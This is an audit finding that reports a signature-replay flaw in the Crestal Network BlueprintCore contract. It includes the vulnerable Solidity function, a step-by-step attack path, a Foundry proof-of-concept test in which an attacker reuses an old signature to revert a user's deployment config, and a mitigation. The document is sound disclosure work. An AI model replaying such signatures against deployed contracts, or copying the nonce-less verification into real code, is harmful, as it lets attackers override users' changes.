Tangy Indigo Dalmatian

High

# Malicious actor can re-use signature to undo an update of worker deployment config

### Summary

Contract implements two methods of updating deployment config:
* `updateWorkerDeploymentConfigWithSig()` - anyone with valid signature can call it
* `updateWorkerDeploymentConfig()` only the owner of current worker can call it

However, the signature from `updateWorkerDeploymentConfigWithSig()` can be re-used. This leads to the scenario, that everyone can update the worker deployment config to the one from `updateWorkerDeploymentConfigWithSig()` -  which effectively undo any previous `updateWorkerDeploymentConfig()`.

1. Alice generates signature for Bob 
2. Bob calls `updateWorkerDeploymentConfigWithSig()`  and updates Alice deployment config
3. After some time, Alice calls `updateWorkerDeploymentConfig()`, to update her config once again
4. Malicious actor extracts signature from step 2. and calls `updateWorkerDeploymentConfigWithSig()` again, which updates the deployment config to the value from the previous call (step 2) and undo the Alice's update (from step 3).

### Root Cause

[File: EIP712.sol](https://github.com/sherlock-audit/2025-03-crestal-network/blob/27a3c28155702b3a68f29347efedffb048010e33/crestal-omni-contracts/src/EIP712.sol#L47)
```solidity
    function getSignerAddress(bytes32 hash, bytes memory signature) public pure returns (address) {
        address signerAddr = ECDSA.recover(hash, signature);
        require(signerAddr != address(0), "Invalid signature");
        return signerAddr;
    }
```

[File: BlueprintCore.sol](https://github.com/sherlock-audit/2025-03-crestal-network/blob/27a3c28155702b3a68f29347efedffb048010e33/crestal-omni-contracts/src/BlueprintCore.sol#L672)
```solidity
    function updateWorkerDeploymentConfigWithSig(
        address tokenAddress,
        bytes32 projectId,
        bytes32 requestID,
        string memory updatedBase64Config,
        bytes memory signature
    ) public {
        // get EIP712 hash digest
        bytes32 digest = getRequestDeploymentDigest(projectId, updatedBase64Config, "app.crestal.network");

        // get signer address
        address signerAddr = getSignerAddress(digest, signature);

        updateWorkerDeploymentConfigCommon(tokenAddress, signerAddr, projectId, requestID, updatedBase64Config);
    }
```

There's no mechanism protecting from signature re-use. Anyone can call `updateWorkerDeploymentConfigWithSig()` again, with the same, old signature.

### Internal Pre-conditions

None

### External Pre-conditions

1. User shares a signature allowing someone else to call `updateWorkerDeploymentConfigWithSig()`
2. After that call, user calls `updateWorkerDeploymentConfig()` again with different deployment config.

### Attack Path

Please follow Foundry PoC first, this is step-by-step explanation what's happening in the Foundry test.

1. Alice sets her deployment config to `FIRT-BY-ALICE`.
2. After some time, Alice wants to update it. She creates signature, passes it to Bob and allows Bob to call `updateWorkerDeploymentConfigWithSig()`
3. Bob calls `updateWorkerDeploymentConfigWithSig()`, deployment config is updated to `SECOND-WITH-SIGNATURE`.
4. Malicious actor - Eve, sees the executed transactions and extract the signature from it.
5. After some time, Alice wants to update deployment config again. She calls `updateWorkerDeploymentConfig()` and updates deployment config to `THIRD-ALICE-AGAIN`.
6. Now, Eve, using the extracted signature - calls `updateWorkerDeploymentConfigWithSig()` with previously set value `SECOND-WITH-SIGNATURE`.
7. Since the signature is still valid and it can be re-used, the deployment config set by Alice in the 5th step: `THIRD-ALICE-AGAIN`, is being updated by Eve to the previous value: `SECOND-WITH-SIGNATURE`
8. The malicious actor - Eve - effectively undo Alice's `updateWorkerDeploymentConfig()` call, by setting the deployment config to the previous value: `SECOND-WITH-SIGNATURE`.

### Impact

It's possible to undo `updateWorkerDeploymentConfig()` by setting the deployment config to the previous values.

### PoC

Include this test in `test/BlueprintV5.t.sol`.

```solidity
function test_sherlockPoC_updateDeploymentConfigSignatureReuse() public {
        string memory updatedBase64Config = "FIRST-BY-ALICE";
        string memory serverURL = "app.crestal.network";
        blueprint.addPaymentAddress(address(mockToken));
        blueprint.setCreateAgentTokenCost(address(mockToken), 0);
        blueprint.setUpdateCreateAgentTokenCost(address(mockToken), 0);

        address ALICE = vm.addr(0xA11CE);
        address BOB = address(0xb0b);
        address EVE = address(0xe11e);

        vm.startPrank(ALICE); // Alice creates agent with token and updates it
        bytes32 requestId =
            blueprint.createAgentWithToken(projectId, updatedBase64Config, workerAddress, serverURL, address(mockToken));

        blueprint.updateWorkerDeploymentConfig(address(mockToken), projectId, requestId, updatedBase64Config);

        // Alice generates signature to update deployment config and passes it to Bob
        bytes memory signature;
        address signerAddress;
        updatedBase64Config = "SECOND-WITH-SIGNATURE";
        (signature, signerAddress) = generateSignature(projectId, updatedBase64Config, serverURL);
        vm.stopPrank();

        vm.prank(BOB); // Bob updates Alice's deployment config - as he has Alice's signature
        blueprint.updateWorkerDeploymentConfigWithSig(
            address(mockToken), projectId, requestId, updatedBase64Config, signature
        );

        // Alice updates the deployment config again
        updatedBase64Config = "THIRD-ALICE-AGAIN";
        vm.prank(ALICE);
        blueprint.updateWorkerDeploymentConfig(address(mockToken), projectId, requestId, updatedBase64Config);

        // Eve fetches the signature (from the BOBs transaction, and re-uses it with old config):
        updatedBase64Config = "SECOND-WITH-SIGNATURE";
        vm.prank(EVE);
        blueprint.updateWorkerDeploymentConfigWithSig(
            address(mockToken), projectId, requestId, updatedBase64Config, signature
        );
    }
```

```bash
% forge test --mt test_sherlockPoC_updateDeploymentConfigSignatureReuse -vvv
[â ’] Compiling...
No files changed, compilation skipped

Ran 1 test for test/BlueprintV5.t.sol:BlueprintTest
[PASS] test_sherlockPoC_updateDeploymentConfigSignatureReuse() (gas: 370426)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.31ms (3.61ms CPU time)
```

As demonstrated - Eve was able to undo Alice's update. Alice updated the deployment config to `THIRD-ALICE-AGAIN`, yey - Eve updated it back to `SECOND-WITH-SIGNATURE`.

### Mitigation

Implementing mechanism protecting from signature re-use. It should not be possible to call `updateWorkerDeploymentConfigWithSig()` with the same signature more than once.